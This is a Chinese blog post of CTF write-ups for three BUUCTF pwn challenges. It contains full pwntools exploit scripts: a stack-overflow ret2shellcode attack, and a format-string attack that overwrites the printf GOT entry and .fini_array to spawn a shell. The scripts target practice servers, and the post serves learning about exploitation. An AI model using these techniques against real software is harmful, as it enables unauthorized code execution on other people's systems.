buuctf:wdb_2018_3rd_soEasy、judgement_mna_2016分析、ciscn_2019_sw_1(fini_array 段改mian程序再运行)
本文最后更新于246 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、wdb_2018_3rd_soEasy分析


32位无保护,运行一下


给了我们一个地址

给我们的是栈上的地址,有栈溢出漏洞

那试试ret2shellcode,正好这个地址不用我们去找了

2、wdb_2018_3rd_soEasy实操

from pwn import *
context(arch="i386",log_level="debug")
p=remote("node5.buuoj.cn",26447)

p.recvuntil("Hei,give you a gift->")
addr=int(p.recvuntil('\n'),16)
print(hex(addr))
shellcode=asm(shellcraft.sh())
p.recvuntil("what do you want to do?\n")
payload=shellcode
payload=payload.ljust(0x48+4,b'a')+p32(addr)
p.send(payload)
p.interactive()


3、judgement_mna_2016分析


32位canary+nx,运行一下


flag判断系统,有点意思啊

printf处有格式化字符串漏洞

flag是有的,但是我们需要看看在哪里


看到有一个char flag[64]保存在bass段

这个函数把flag检查之后放到了栈上

ubuntu16调试偏移是28或者32,我的版本较高,所以调试出来是不行的,调试之前先建一个flag.txt


4、judgement_mna_2016 还是拿个flag吧


5、ciscn_2019_sw_1分析


32位NX,运行一下有一个输入

发现了system,找找binsh但是没有,那就需要我们后面输入,接下来找找漏洞

看main函数:

注意到%64s,已经对输入的字符数做了限制,不会造成栈溢出,应该是格式化字符串漏洞

在输入时不能有空格

偏移是4,(nil)也是参数,这道题后面要想办法执行system,那么我们利用格式化字符串之后去修改printf_got为system那么执行printf时就会执行system,再传入/bin/sh就可以了

但是直接不会做了,于是去学习一下,首先是printf已经用了一次,但是我们还要通过printf跳转到sysem,所以需要程序再来一遍,这怎么办,之前的都有循环,这个没了

知识点:


在 C 语言程序中,程序的启动和结束不仅仅是 main 函数的执行。操作系统在启动程序时,会执行一些初始化代码,这些代码通常位于 .init 段和 .init_array 段中。同样,在程序结束时,也会执行一些清理代码,这些代码通常位于 .fini 段和 .fini_array 段中。

.init 和 .init_array

.init 段:这是一个包含初始化代码的段。在程序启动时,操作系统会自动调用这个段中的代码。通常,这个段中会包含一些全局变量的初始化代码。

.init_array 段:这是一个包含函数指针的数组。在程序启动时,操作系统会依次调用这个数组中的每一个函数指针指向的函数。这些函数通常用于执行一些初始化操作。

.fini 段:这是一个包含清理代码的段。在程序结束时,操作系统会自动调用这个段中的代码。通常,这个段中会包含一些资源释放和清理操作。

.fini_array 段:这是一个包含函数指针的数组。在程序结束时,操作系统会依次调用这个数组中的每一个函数指针指向的函数。这些函数通常用于执行一些清理操作。

所以我们可以把finit_array数组的第一个元素换为main,我们看看这个段的地址,ida里面Ctrl+s

finit_array=0x0804979C,小端序:9c 97 04 08

mian=0x08048534,小端序:34 85 04 80

我们知道,32位里,一个地址是4个字节,一个字节是8位,用hn修改,hn是16位,也就是两字节,所以我们分两次修改,kimi给了一个样例:

from pwn import *

# 目标地址
address = 0x0804979C

# 构造地址
low_address = p32(address)  # 低16位地址
high_address = p32(address + 2)  # 高16位地址

# 计算需要输出的字符数
num_chars1 = 0x5678  # 低16位值
num_chars2 = 0x1234  # 高16位值

# 构造格式化字符串
payload = low_address + high_address
payload += "%" + str(num_chars1) + "c" + "%1$hn"  # 写入低16位
payload += "%" + str(num_chars2 - num_chars1) + "c" + "%2$hn"  # 写入高16位

所以+2的目的是写入到高16位,因为是小端序嘛,现在就可以看看这道题改怎么改,首先明确了需要修改的地址

0x0804979C 0x0804989C(printf_got)

0x08048534 0x080483D0(system_plt)

第一次利用是修改printf_got为system,然后用main覆盖finit_array,程序再次运行后输入/bin/sh,现在来看看怎么写

payload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#压栈,压了4个需要写入的写入点地址
payload+=b"%"+str(0x0804-0x10).encode()+b"c%4$hn"#表示写入了4hn
payload+=b"%5$hn"#因为低地址0x0804不用变,所以这里不用加字符
payload+=b"%"+str(0x83D0-0x0804).encode()+b"%6hn"#写入83D0,把printf_got修改为system_plt
payload+=b"%"+str(0x08534-0x83D0).encode()+b"%7hn"#在低16位把finit_array改为main

6、ciscn_2019_sw_1实操

可以发现,该死的报错,混用bytes和str,所以吸取上次的经验

payload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#压栈,压了4个需要写入的写入点地址
payload+=b'%'+bytes(str(0x0804-0x10),encoding='utf-8')+b'c%4$hn'#表示写入了4hn
payload+=b"%5$hn"#因为低地址0x0804不用变,所以这里不用加字符
payload+=b'%'+bytes(str(0x83D0-0x0804),encoding='utf-8')+b'c%6$hn'#写入83D0,把printf_got修改为system_plt
payload+=b'%'+bytes(str(0x08534-0x83D0),encoding='utf-8')+b'c%7$hn'#在低16位把finit_array改为main


ok,做了几天了,TAT

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27509)

finit_array=0x0804979C
mian=0x08048534
system_plt=0x080483D0
printf_got=0x0804989C
payload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#压栈,压了4个需要写入的写入点地址
payload+=b'%'+bytes(str(0x0804-0x10),encoding='utf-8')+b'c%4$hn'#表示写入了4hn
payload+=b"%5$hn"#因为低地址0x0804不用变,所以这里不用加字符
payload+=b'%'+bytes(str(0x83D0-0x0804),encoding='utf-8')+b'c%6$hn'#写入83D0,把printf_got修改为system_plt
payload+=b'%'+bytes(str(0x08534-0x83D0),encoding='utf-8')+b'c%7$hn'#在低16位把finit_array改为main
p.recvuntil(b"Welcome to my ctf! What's your name?\n")
p.sendline(payload)
p.recvuntil(b"Welcome to my ctf! What's your name?\n")
p.sendline(b"/bin/sh\x00")
p.interactive()


……

格式化字符串我越来越喜欢你了......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇